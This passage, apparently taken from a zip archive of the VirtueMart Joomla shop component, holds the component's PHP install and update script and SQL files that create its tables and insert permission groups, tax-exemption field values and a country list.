'0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_worldzone_id`), KEY `i_virtuemart_vendor_id` (`virtuemart_vendor_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='The Zones managed by the Zone Shipment Module' AUTO_INCREMENT=1 ; PKs>\3bb,com_virtuemart/install/script.virtuemart.phpnuW+Apath = JInstaller::getInstance()->getPath('extension_administrator'); if(empty($this->path)){ $this->path = JPATH_VM_ADMINISTRATOR; } require_once($this->path.DS.'helpers'.DS.'config.php'); JTable::addIncludePath($this->path.DS.'tables'); JModel::addIncludePath($this->path.DS.'models'); } public function checkIfUpdate(){ $update = false; if(empty($this->_db)) $this->_db = JFactory::getDBO(); $q = 'SHOW TABLES LIKE "%virtuemart_adminmenuentries%"'; //=>jos_virtuemart_shipment_plg_weight_countries $this->_db->setQuery($q); if($this->_db->loadResult()){ $q = "SELECT count(id) AS idCount FROM `#__virtuemart_adminmenuentries`"; $this->_db->setQuery($q); $result = $this->_db->loadResult(); if (empty($result)) { $update = false; } else { $update = true; } } else { $update = false; } $this->update = $update; return $update; } /** * Pre-process method (e.g. install/upgrade) and any header HTML * * @param string Process type (i.e. install, uninstall, update) * @param object JInstallerComponent parent * @return boolean True if VM exists, null otherwise */ public function preflight ($type, $parent=null) { //We want disable the redirect in the installation process if(version_compare(JVERSION,'1.6.0','ge')) { $q = 'DELETE FROM `#__menu` WHERE `menutype` = "main" AND (`link`="index.php?option=com_virtuemart" OR `alias`="virtuemart" )'; $this->_db = JFactory::getDbo(); $this->_db -> setQuery($q); $this->_db -> query(); $error = $this->_db->getErrorMsg(); if(!empty($error)){ $app = JFactory::getApplication(); $app ->enqueueMessage('Error deleting old vm admin menu (BE) '.$error); } } } /** * Install script * Triggers after database processing * * @param object JInstallerComponent parent * @return boolean True on success */ public function install ($loadVm = true) { if($loadVm) $this->loadVm(); if($this->checkIfUpdate()){ return $this->update($loadVm); } $_REQUEST['install'] = 1; $this -> joomlaSessionDBToMediumText(); // install essential and required data // should this be covered in install.sql (or 1.6's JInstaller::parseSchemaUpdates)? // if(!class_exists('VirtueMartModelUpdatesMigration')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'updatesMigration.php'); $params = JComponentHelper::getParams('com_languages'); $lang = $params->get('site', 'en-GB');//use default joomla $lang = strtolower(strtr($lang,'-','_')); $model = JModel::getInstance('updatesmigration', 'VirtueMartModel'); $model->execSQLFile($this->path.DS.'install'.DS.'install.sql',$lang); $model->execSQLFile($this->path.DS.'install'.DS.'install_essential_data.sql',$lang); $model->execSQLFile($this->path.DS.'install'.DS.'install_required_data.sql',$lang); //$id = $model->determineStoreOwner(); $model->setStoreOwner(); //copy sampel media $src = $this->path .DS. 'assets' .DS. 'images' .DS. 'vmsampleimages'; // if(version_compare(JVERSION,'1.6.0','ge')) { $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'.DS.'shipment'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'.DS.'payment'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'.DS.'category'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'.DS.'category'.DS.'resized'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'.DS.'manufacturer'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'.DS.'manufacturer'.DS.'resized'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'.DS.'product'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'.DS.'product'.DS.'resized'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'.DS.'forSale'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'.DS.'forSale'.DS.'invoices'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'.DS.'forSale'.DS.'resized'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'.DS.'typeless'); $dst = JPATH_ROOT .DS. 'images' .DS. 'stories' .DS. 'virtuemart'; $this->recurse_copy($src,$dst); if(!class_exists('GenericTableUpdater')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'tableupdater.php'); $updater = new GenericTableUpdater(); $updater->createLanguageTables(); $this->checkAddDefaultShoppergroups(); $this->displayFinished(false); //include($this->path.DS.'install'.DS.'install.virtuemart.html.php'); // perhaps a redirect to updatesMigration here rather than the html file? // $parent->getParent()->setRedirectURL('index.php?option=com_virtuemart&view=updatesMigration'); return true; } /** * creates a folder with empty html file * * @author Max Milbers * */ public function createIndexFolder($path){ if(!class_exists('JFile')) require(JPATH_VM_LIBRARIES.DS.'joomla'.DS.'filesystem'.DS.'file.php'); if(JFolder::create($path)) { if(!JFile::exists($path .DS. 'index.html')){ JFile::copy(JPATH_ROOT.DS.'components'.DS.'index.html', $path .DS. 'index.html'); } return true; } return false; } /** * Update script * Triggers after database processing * * @param object JInstallerComponent parent * @return boolean True on success */ public function update ($loadVm = true) { if($loadVm) $this->loadVm(); if(!$this->checkIfUpdate()){ return $this->install($loadVm); } //Delete Cache $cache = JFactory::getCache(); $cache->clean(); if(empty($this->_db)) $this->_db = JFactory::getDBO(); if(empty($this->path)) $this->path = JPATH_VM_ADMINISTRATOR; $params = JComponentHelper::getParams('com_languages'); $lang = $params->get('site', 'en-GB');//use default joomla $lang = strtolower(strtr($lang,'-','_')); if(!class_exists('VirtueMartModelUpdatesMigration')) require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'updatesmigration.php'); $model = new VirtueMartModelUpdatesMigration(); //JModel::getInstance('updatesmigration', 'VirtueMartModel'); $model->execSQLFile($this->path.DS.'install'.DS.'install.sql',$lang); $this -> joomlaSessionDBToMediumText(); $this->alterTable('#__virtuemart_product_prices', array( 'product_price_vdate' => '`product_price_publish_up` DATETIME NULL DEFAULT NULL AFTER `product_currency`', 'product_price_edate' => '`product_price_publish_down` DATETIME NULL DEFAULT NULL AFTER `product_price_publish_up`' )); $this->alterTable('#__virtuemart_medias', array( 'file_url' => '`file_url` varchar(900) NOT NULL DEFAULT ""', 'file_params' => '`file_params` varchar(17500)', 'file_url_thumb' => '`file_url_thumb` varchar(900) NOT NULL DEFAULT ""', ) ); $this->deleteReCreatePrimaryKey('#__virtuemart_userinfos','virtuemart_userinfo_id'); if(!class_exists('GenericTableUpdater')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'tableupdater.php'); $updater = new GenericTableUpdater(); $updater->updateMyVmTables(); $result = $updater->createLanguageTables(); $this->checkAddDefaultShoppergroups(); $this->adjustDefaultOrderStates(); $this->fixOrdersVendorId(); $this->updateAdminMenuEntries(); $this->fixConfigValues(); //copy sampel media $src = $this->path .DS. 'assets' .DS. 'images' .DS. 'vmsampleimages'; if(JFolder::exists($src)){ $dst = JPATH_ROOT .DS. 'images' .DS. 'stories' .DS. 'virtuemart'; $this->recurse_copy($src,$dst); } if($loadVm) $this->displayFinished(true); return true; } private function fixConfigValues(){ if (!class_exists( 'VmConfig' )) require(JPATH_COMPONENT_ADMINISTRATOR.DS.'helpers'.DS.'config.php'); VmConfig::loadConfig(); $data = array(); $list_limit = VmConfig::get('list_limit',0); if(!empty($list_limit)){ $data['llimit_init_BE'] = $list_limit; $data['llimit_init_FE'] = $list_limit; } $pagseq = VmConfig::get('pagination_sequence',0); if(!empty($pagseq)){ $data['pagseq'] = $pagseq; $data['pagseq_1'] = $pagseq; $data['pagseq_2'] = $pagseq; $data['pagseq_3'] = $pagseq; $data['pagseq_4'] = $pagseq; $data['pagseq_5'] = $pagseq; } $configModel = VmModel::getModel('config'); $configModel->store($data); } private function fixOrdersVendorId(){ $multix = Vmconfig::get('multix','none'); if( $multix == 'none'){ if(empty($this->_db)){ $this->_db = JFactory::getDBO(); } $q = 'SELECT `virtuemart_user_id` FROM #__virtuemart_orders WHERE virtuemart_vendor_id = "0" '; $this->_db->setQuery($q); $res = $this->_db->loadResult(); if($res){ //vmdebug('fixOrdersVendorId ',$res); $q = 'UPDATE #__virtuemart_orders SET `virtuemart_vendor_id`=1 WHERE virtuemart_vendor_id = "0" '; $this->_db->setQuery($q); $res = $this->_db->query(); $err = $this->_db->getErrorMsg(); if(!empty($err)){ vmError('fixOrdersVendorId update orders '.$err); } $q = 'UPDATE #__virtuemart_order_items SET `virtuemart_vendor_id`=1 WHERE virtuemart_vendor_id = "0" '; $this->_db->setQuery($q); $res = $this->_db->query(); $err = $this->_db->getErrorMsg(); if(!empty($err)){ vmError('fixOrdersVendorId update order_item '.$err); } } } } private function adjustDefaultOrderStates(){ if(empty($this->_db)){ $this->_db = JFactory::getDBO(); } $order_stock_handles = array('P'=>'R', 'C'=>'R', 'X'=>'A', 'R'=>'A', 'S'=>'O'); foreach($order_stock_handles as $k=>$v){ $q = 'SELECT `order_stock_handle` FROM `#__virtuemart_orderstates`'; $this->_db->setQuery($q); $res = $this->_db->query(); $err = $this->_db->getErrorMsg(); if(empty($res) and empty($err) ){ $q = 'UPDATE `#__virtuemart_orderstates` SET `order_stock_handle`="'.$v.'" WHERE `order_status_code`="'.$k.'" ;'; $this->_db->setQuery($q); if(!$this->_db->query()){ $app = JFactory::getApplication(); $app->enqueueMessage('Error: Install alterTable '.$this->_db->getErrorMsg() ); $ok = false; } } } } private function updateAdminMenuEntries() { if(empty($this->_db)){ $this->_db = JFactory::getDBO(); } $query = 'SELECT * FROM `#__virtuemart_adminmenuentries` WHERE `view` = "log" '; $this->_db->setQuery($query); $result = $this->_db->loadResult(); if(empty($result) || !$result ){ // get the module id of the migration $query = 'SELECT module_id FROM `#__virtuemart_adminmenuentries` WHERE `view` = "updatesmigration" '; $this->_db->setQuery($query); $module_id = $this->_db->loadResult(); if( $module_id){ $q = "INSERT INTO `#__virtuemart_adminmenuentries` (`id`, `module_id`, `parent_id`, `name`, `link`, `depends`, `icon_class`, `ordering`, `published`, `tooltip`, `view`, `task`) VALUES (null, ".$module_id.", 0, 'COM_VIRTUEMART_LOG', '', '', 'vmicon vmicon-16-info', 2, 1, '', 'log', '')"; $this->_db->setQuery($q); $this->_db->query(); $app = JFactory::getApplication(); $app->enqueueMessage('Added Log Menu entry ' ); } } } /** * @author Max Milbers * @param unknown_type $tablename * @param unknown_type $fields * @param unknown_type $command */ private function alterTable($tablename,$fields,$command='CHANGE'){ $ok = true; if(empty($this->_db)){ $this->_db = JFactory::getDBO(); } $query = 'SHOW COLUMNS FROM `'.$tablename.'` '; $this->_db->setQuery($query); $columns = $this->_db->loadResultArray(0); foreach($fields as $fieldname => $alterCommand){ if(in_array($fieldname,$columns)){ $query = 'ALTER TABLE `'.$tablename.'` '.$command.' COLUMN `'.$fieldname.'` '.$alterCommand; $this->_db->setQuery($query); if(!$this->_db->query()){ $app = JFactory::getApplication(); $app->enqueueMessage('Error: Install alterTable '.$this->_db->getErrorMsg() ); $ok = false; } } } return $ok; } /** * * @author Max Milbers * @param unknown_type $table * @param unknown_type $field * @param unknown_type $action * @return boolean This gives true back, WHEN it altered the table, you may use this information to decide for extra post actions */ private function checkAddFieldToTable($table,$field,$fieldType){ $query = 'SHOW COLUMNS FROM `'.$table.'` '; $this->_db->setQuery($query); $columns = $this->_db->loadResultArray(0); if(!in_array($field,$columns)){ $query = 'ALTER TABLE `'.$table.'` ADD '.$field.' '.$fieldType; $this->_db->setQuery($query); if(!$this->_db->query()){ $app = JFactory::getApplication(); $app->enqueueMessage('Error: Install checkAddFieldToTable '.$this->_db->getErrorMsg() ); return false; } else { vmdebug('checkAddFieldToTable added '.$field); return true; } } return false; } private function addToRequired($table,$fieldname,$fieldvalue,$insert){ if(empty($this->_db)){ $this->_db = JFactory::getDBO(); } $query = 'SELECT * FROM `'.$table.'` WHERE '.$fieldname.' = "'.$fieldvalue.'" '; $this->db->setQuery($query); $result = $this->db->loadResult(); if(empty($result) || !$result ){ $this->db->setQuery($insert); if(!$this->db->query()){ $app = JFactory::getApplication(); $app->enqueueMessage('Install addToRequired '.$this->db->getErrorMsg() ); } } } private function deleteReCreatePrimaryKey($tablename,$fieldname){ //Does not work, the keys must be regenerated // $query = 'ALTER TABLE `#__virtuemart_userinfos` CHANGE COLUMN `virtuemart_userinfo_id` `virtuemart_userinfo_id` INT(1) NOT NULL AUTO_INCREMENT FIRST'; // $this->_db->setQuery($query); // if(!$this->_db->query()){ // } else { // $query = 'ALTER TABLE `#__virtuemart_userinfos` AUTO_INCREMENT = 1'; // $this->_db->setQuery($query); // } $query = 'SHOW FULL COLUMNS FROM `'.$tablename.'` '; $this->_db->setQuery($query); $fullColumns = $this->_db->loadObjectList(); $force = false; if($force or $fullColumns[0]->Field==$fieldname and strpos($fullColumns[0]->Type,'char')!==false){ vmdebug('Old key found, recreate'); // Yes, I know, it looks senselesss to create a field without autoincrement, to add a key and then the autoincrement and then they key again. // But seems the only method to drop and recreate primary, which has already data in it //First drop it $fields = array($fieldname => ''); if($this->alterTable($tablename,$fields,'DROP')){ //Now make the field, nothing must be entered $added = $this->checkAddFieldToTable($tablename,$fieldname,"INT(1) UNSIGNED NOT NULL FIRST"); if($added){ //Yes it should be primary, ohh it gets sorted, great $q = 'ALTER TABLE `'.$tablename.'` ADD KEY (`'.$fieldname.'`)'; $this->_db->setQuery($q); if(!$this->_db->query()){ $app = JFactory::getApplication(); $app->enqueueMessage('Error: deleteReCreatePrimaryKey add KEY '.$this->_db->getErrorMsg() ); } //ahh, now we can make it auto_increment $fields = array($fieldname => '`'.$fieldname.'` INT(1) UNSIGNED NOT NULL AUTO_INCREMENT FIRST'); $this->alterTable($tablename,$fields); //Great, now it actually takes the attribute being a primary $q = 'ALTER TABLE `'.$tablename.'` ADD PRIMARY KEY (`'.$fieldname.'`)'; $this->_db->setQuery($q); if(!$this->_db->query()){ $app = JFactory::getApplication(); $app->enqueueMessage('Error: deleteReCreatePrimaryKey final add Primary '.$this->_db->getErrorMsg() ); } else { $q = 'ALTER TABLE `'.$tablename.'` DROP INDEX `'.$fieldname.'`'; $this->_db->setQuery($q); if(!$this->_db->query()){ $app->enqueueMessage('Error: deleteReCreatePrimaryKey final add Primary '.$this->_db->getErrorMsg() ); } } } } } } /** * Checks if both types of default shoppergroups are set * @author Max Milbers */ private function checkAddDefaultShoppergroups(){ $q = 'SELECT `virtuemart_shoppergroup_id` FROM `#__virtuemart_shoppergroups` WHERE `default` = "1" '; $this->_db = JFactory::getDbo(); $this->_db->setQuery($q); $res = $this->_db ->loadResult(); if(empty($res)){ $q = "INSERT INTO `#__virtuemart_shoppergroups` (`virtuemart_shoppergroup_id`, `virtuemart_vendor_id`, `shopper_group_name`, `shopper_group_desc`, `default`, `shared`) VALUES (NULL, 1, '-default-', 'This is the default shopper group.', 1, 1);"; $this->_db->setQuery($q); $this->_db->query(); } $q = 'SELECT `virtuemart_shoppergroup_id` FROM `#__virtuemart_shoppergroups` WHERE `default` = "2" '; $this->_db->setQuery($q); $res = $this->_db ->loadResult(); if(empty($res)){ $q = "INSERT INTO `#__virtuemart_shoppergroups` (`virtuemart_shoppergroup_id`, `virtuemart_vendor_id`, `shopper_group_name`, `shopper_group_desc`, `default`, `shared`) VALUES (NULL, 1, '-anonymous-', 'Shopper group for anonymous shoppers', 2, 1);"; $this->_db->setQuery($q); $this->_db->query(); } } private function changeShoppergroupDataSetAnonShopperToOne(){ if(empty($this->_db)) $this->_db = JFactory::getDBO(); $q = 'SELECT * FROM `#__virtuemart_shoppergroups` WHERE virtuemart_shoppergroup_id = "1" '; $this->_db->setQuery($q); $sgroup = $this->_db->loadAssoc(); if($sgroup['default']!=2){ if(!class_exists('TableShoppergroups')) require(JPATH_VM_ADMINISTRATOR.DS.'tables'.DS.'shoppergroups.php'); $table = new TableShoppergroups($this->_db); $stdgroup = null; $stdgroup = array('virtuemart_shoppergroup_id' => 1, 'virtuemart_vendor_id' => 1, 'shopper_group_name' => '-anonymous-', 'shopper_group_desc' => 'Shopper group for anonymous shoppers', 'default' => 2, 'published' => 1, 'shared' => 1 ); $table -> bindChecknStore($stdgroup); $sgroup['virtuemart_shoppergroup_id'] = 0; $table = new TableShoppergroups($this->_db); $table -> bindChecknStore($sgroup); vmdebug('changeShoppergroupDataSetAnonShopperToOne $table',$table); } } private function joomlaSessionDBToMediumText(){ if(version_compare(JVERSION,'1.6.0','ge')) { $fields = array('data'=>'`data` mediumtext NULL AFTER `time`'); $this->alterTable('#__session',$fields); } } /** * Uninstall script * Triggers before database processing * * @param object JInstallerComponent parent * @return boolean True on success */ public function uninstall ($parent=null) { if(empty($this->path)){ $this->path = JPATH_VM_ADMINISTRATOR; } //$this->loadVm(); include($this->path.DS.'install'.DS.'uninstall.virtuemart.html.php'); return true; } /** * Post-process method (e.g. footer HTML, redirect, etc) * * @param string Process type (i.e. install, uninstall, update) * @param object JInstallerComponent parent */ public function postflight ($type, $parent=null) { //We want disable the redirect in the installation process if ($type != 'uninstall') { $this->loadVm(); // VmConfig::loadConfig(true); //if(!class_exists('VirtueMartModelConfig')) require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'config.php'); $res = VirtueMartModelConfig::checkConfigTableExists(); //if($res){ JRequest::setVar(JUtility::getToken(), '1', 'post'); $config = JModel::getInstance('config', 'VirtueMartModel'); $config->setDangerousToolsOff(); //} } $_REQUEST['install'] = 0; //Test if vm1.1 is installed and rename file to avoid conflicts if(JFile::exists(JPATH_VM_ADMINISTRATOR.DS.'toolbar.php')){ JFile::move('toolbar.php','toolbar.vm1.php',JPATH_VM_ADMINISTRATOR); } //Prevents overwriting existing file. // if(!JFile::exists(JPATH_VM_ADMINISTRATOR.DS.'virtuemart_defaults.cfg')){ // JFile::copy('virtuemart_defaults.cfg-dist','virtuemart_defaults.cfg',JPATH_VM_ADMINISTRATOR); // } return true; } /** * copy all $src to $dst folder and remove it * * @author Max Milbers * @param String $src path * @param String $dst path * @param String $type modules, plugins, languageBE, languageFE */ private function recurse_copy($src,$dst ) { $dir = opendir($src); $this->createIndexFolder($dst); if(is_resource($dir)){ while(false !== ( $file = readdir($dir)) ) { if (( $file != '.' ) && ( $file != '..' )) { if ( is_dir($src .DS. $file) ) { $this->recurse_copy($src .DS. $file,$dst .DS. $file); } else { if(JFile::exists($dst .DS. $file)){ if(!JFile::delete($dst .DS. $file)){ $app = JFactory::getApplication(); $app -> enqueueMessage('Couldnt delete '.$dst .DS. $file); } } if(!JFile::move($src .DS. $file,$dst .DS. $file)){ $app = JFactory::getApplication(); $app -> enqueueMessage('Couldnt move '.$src .DS. $file.' to '.$dst .DS. $file); } } } } closedir($dir); if (is_dir($src)) JFolder::delete($src); } else { $app = JFactory::getApplication(); $app -> enqueueMessage('Couldnt read dir '.$dir.' source '.$src); } } /** * The param update IS used in the layout, do not remove * @param $update */ public function displayFinished($update){ include(JPATH_VM_ADMINISTRATOR.'/views/updatesmigration/tmpl/insfinished.php'); } } /** * Legacy j1.5 function to use the 1.6 class install/update * * @return boolean True on success * @deprecated */ function com_install() { $vmInstall = new com_virtuemartInstallerScript(); $upgrade = $vmInstall->checkIfUpdate(); if(version_compare(JVERSION,'1.6.0','ge')) { // Joomla! 1.6 code here } else { // Joomla! 1.5 code here $method = ($upgrade) ? 'update' : 'install'; $vmInstall->$method(); $vmInstall->postflight($method); } /* if ((JVM_VERSION===1)) { $method = ($upgrade) ? 'update' : 'install'; $vmInstall->$method(); $vmInstall->postflight($method); }*/ return true; } /** * Legacy j1.5 function to use the 1.6 class uninstall * * @return boolean True on success * @deprecated */ function com_uninstall() { $vmInstall = new com_virtuemartInstallerScript(); // $vmInstall->preflight('uninstall'); if(version_compare(JVERSION,'1.6.0','ge')) { // Joomla! 1.6 code here } else { $vmInstall->uninstall(); $vmInstall->postflight('uninstall'); } /* if (JVM_VERSION===1) { $vmInstall->uninstall(); $vmInstall->postflight('uninstall'); }*/ return true; } } // if(defined) // pure php no tag PKs>\ǞHH0com_virtuemart/install/install_required_data.sqlnuW+A-- VirtueMart table data SQL script -- This will insert all sample data into the VirtueMart tables -- -- Dumping data for table `#__virtuemart_permgroups` -- INSERT INTO `#__virtuemart_permgroups` (`virtuemart_permgroup_id`, `group_name`, `group_level`) VALUES (1, 'admin', 0), (2, 'storeadmin', 250), (3, 'shopper', 500), (4, 'demo', 750); INSERT INTO `#__virtuemart_userfield_values` ( `virtuemart_userfield_id`, `fieldtitle`, `fieldvalue`, `sys`, `ordering`, `created_on`, `created_by`, `modified_on`, `modified_by`, `locked_on`, `locked_by`) VALUES ( 10, 'COM_VIRTUEMART_SHOPPER_TITLE_MR', 'Mr', 0, 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 10, 'COM_VIRTUEMART_SHOPPER_TITLE_MRS', 'Mrs', 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'None', '', 0, 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Non-resident (Canada)', 'R', 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Federal government (United States)', 'A', 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'State government (United States)', 'B', 0, 2, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Tribe / Status Indian / Indian Band (both)', 'C', 0, 3, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Foreign diplomat (both)', 'D', 0, 4, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Charitable or benevolent org (both)', 'E', 0, 5, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Religious or educational org (both)', 'F', 0, 6, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Resale (both)', 'G', 0, 7, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Commercial agricultural production (both)', 'H', 0, 8, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Industrial production / manufacturer (both)', 'I', 0, 9, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Direct pay permit (United States)', 'J', 0, 10, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Direct mail (United States)', 'K', 0, 11, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Other (both)', 'L', 0, 12, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Local government (United States)', 'N', 0, 13, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Commercial aquaculture (Canada)', 'P', 0, 14, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Commercial Fishery (Canada)', 'Q', 0, 15, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0); -- -- Dumping data for table `#__virtuemart_countries` -- INSERT INTO `#__virtuemart_countries` (`virtuemart_country_id`, `virtuemart_worldzone_id`, `country_name`, `country_3_code`, `country_2_code`) VALUES (1, 1, 'Afghanistan', 'AFG', 'AF'), (2, 1, 'Albania', 'ALB', 'AL'), (3, 1, 'Algeria', 'DZA', 'DZ'), (4, 1, 'American Samoa', 'ASM', 'AS'), (5, 1, 'Andorra', 'AND', 'AD'), (6, 1, 'Angola', 'AGO', 'AO'), (7, 1, 'Anguilla', 'AIA', 'AI'), (8, 1, 'Antarctica', 'ATA', 'AQ'), (9, 1, 'Antigua and Barbuda', 'ATG', 'AG'), (10, 1, 'Argentina', 'ARG', 'AR'), (11, 1, 'Armenia', 'ARM', 'AM'), (12, 1, 'Aruba', 'ABW', 'AW'), (13, 1, 'Australia', 'AUS', 'AU'), (14, 1, 'Austria', 'AUT', 'AT'), (15, 1, 'Azerbaijan', 'AZE', 'AZ'), (16, 1, 'Bahamas', 'BHS', 'BS'), (17, 1, 'Bahrain', 'BHR', 'BH'), (18, 1, 'Bangladesh', 'BGD', 'BD'), (19, 1, 'Barbados', 'BRB', 'BB'), (20, 1, 'Belarus', 'BLR', 'BY'), (21, 1, 'Belgium', 'BEL', 'BE'), (22, 1, 'Belize', 'BLZ', 'BZ'), (23, 1, 'Benin', 'BEN', 'BJ'), (24, 1, 'Bermuda', 'BMU', 'BM'), (25, 1, 'Bhutan', 'BTN', 'BT'), (26, 1, 'Bolivia', 'BOL', 'BO'), (27, 1, 'Bosnia and Herzegowina', 'BIH', 'BA'), (28, 1, 'Botswana', 'BWA', 'BW'), (29, 1, 'Bouvet Island', 'BVT', 'BV'), (30, 1, 'Brazil', 'BRA', 'BR'), (31, 1, 'British Indian Ocean Territory', 'IOT', 'IO'), (32, 1, 'Brunei Darussalam', 'BRN', 'BN'), (33, 1, 'Bulgaria', 'BGR', 'BG'), (34, 1, 'Burkina Faso', 'BFA', 'BF'), (35, 1, 'Burundi', 'BDI', 'BI'), (36, 1, 'Cambodia', 'KHM', 'KH'), (37, 1, 'Cameroon', 'CMR', 'CM'), (38, 1, 'Canada', 'CAN', 'CA'), (39, 1, 'Cape Verde', 'CPV', 'CV'), (40, 1, 'Cayman Islands', 'CYM', 'KY'), (41, 1, 'Central African Republic', 'CAF', 'CF'), (42, 1, 'Chad', 'TCD', 'TD'), (43, 1, 'Chile', 'CHL', 'CL'), (44, 1, 'China', 'CHN', 'CN'), (45, 1, 'Christmas Island', 'CXR', 'CX'), (46, 1, 'Cocos (Keeling) Islands', 'CCK', 'CC'), (47, 1, 'Colombia', 'COL', 'CO'), (48, 1, 'Comoros', 'COM', 'KM'), (49, 1, 'Congo', 'COG', 'CG'), (50, 1, 'Cook Islands', 'COK', 'CK'), (51, 1, 'Costa Rica', 'CRI', 'CR'), (52, 1, 'Cote D''Ivoire', 'CIV', 'CI'), (53, 1, 'Croatia', 'HRV', 'HR'), (54, 1, 'Cuba', 'CUB', 'CU'), (55, 1, 'Cyprus', 'CYP', 'CY'), (56, 1, 'Czech Republic', 'CZE', 'CZ'), (57, 1, 'Denmark', 'DNK', 'DK'), (58, 1, 'Djibouti', 'DJI', 'DJ'), (59, 1, 'Dominica', 'DMA', 'DM'), (60, 1, 'Dominican Republic', 'DOM', 'DO'), (61, 1, 'East Timor', 'TMP', 'TP'), (62, 1, 'Ecuador', 'ECU', 'EC'), (63, 1, 'Egypt', 'EGY', 'EG'), (64, 1, 'El Salvador', 'SLV', 'SV'), (65, 1, 'Equatorial Guinea', 'GNQ', 'GQ'), (66, 1, 'Eritrea', 'ERI', 'ER'), (67, 1, 'Estonia', 'EST', 'EE'), (68, 1, 'Ethiopia', 'ETH', 'ET'), (69, 1, 'Falkland Islands (Malvinas)', 'FLK', 'FK'), (70, 1, 'Faroe Islands', 'FRO', 'FO'), (71, 1, 'Fiji', 'FJI', 'FJ'), (72, 1, 'Finland', 'FIN', 'FI'), (73, 1, 'France', 'FRA', 'FR'), (75, 1, 'French Guiana', 'GUF', 'GF'), (76, 1, 'French Polynesia', 'PYF', 'PF'), (77, 1, 'French Southern Territories', 'ATF', 'TF'), (78, 1, 'Gabon', 'GAB', 'GA'), (79, 1, 'Gambia', 'GMB', 'GM'), (80, 1, 'Georgia', 'GEO', 'GE'), (81, 1, 'Germany', 'DEU', 'DE'), (82, 1, 'Ghana', 'GHA', 'GH'), (83, 1, 'Gibraltar', 'GIB', 'GI'), (84, 1, 'Greece', 'GRC', 'GR'), (85, 1, 'Greenland', 'GRL', 'GL'), (86, 1, 'Grenada', 'GRD', 'GD'), (87, 1, 'Guadeloupe', 'GLP', 'GP'), (88, 1, 'Guam', 'GUM', 'GU'), (89, 1, 'Guatemala', 'GTM', 'GT'), (90, 1, 'Guinea', 'GIN', 'GN'), (91, 1, 'Guinea-bissau', 'GNB', 'GW'), (92, 1, 'Guyana', 'GUY', 'GY'), (93, 1, 'Haiti', 'HTI', 'HT'), (94, 1, 'Heard and Mc Donald Islands', 'HMD', 'HM'), (95, 1, 'Honduras', 'HND', 'HN'), (96, 1, 'Hong Kong', 'HKG', 'HK'), (97, 1, 'Hungary', 'HUN', 'HU'), (98, 1, 'Iceland', 'ISL', 'IS'), (99, 1, 'India', 'IND', 'IN'), (100, 1, 'Indonesia', 'IDN', 'ID'), (101, 1, 'Iran (Islamic Republic of)', 'IRN', 'IR'), (102, 1, 'Iraq', 'IRQ', 'IQ'), (103, 1, 'Ireland', 'IRL', 'IE'), (104, 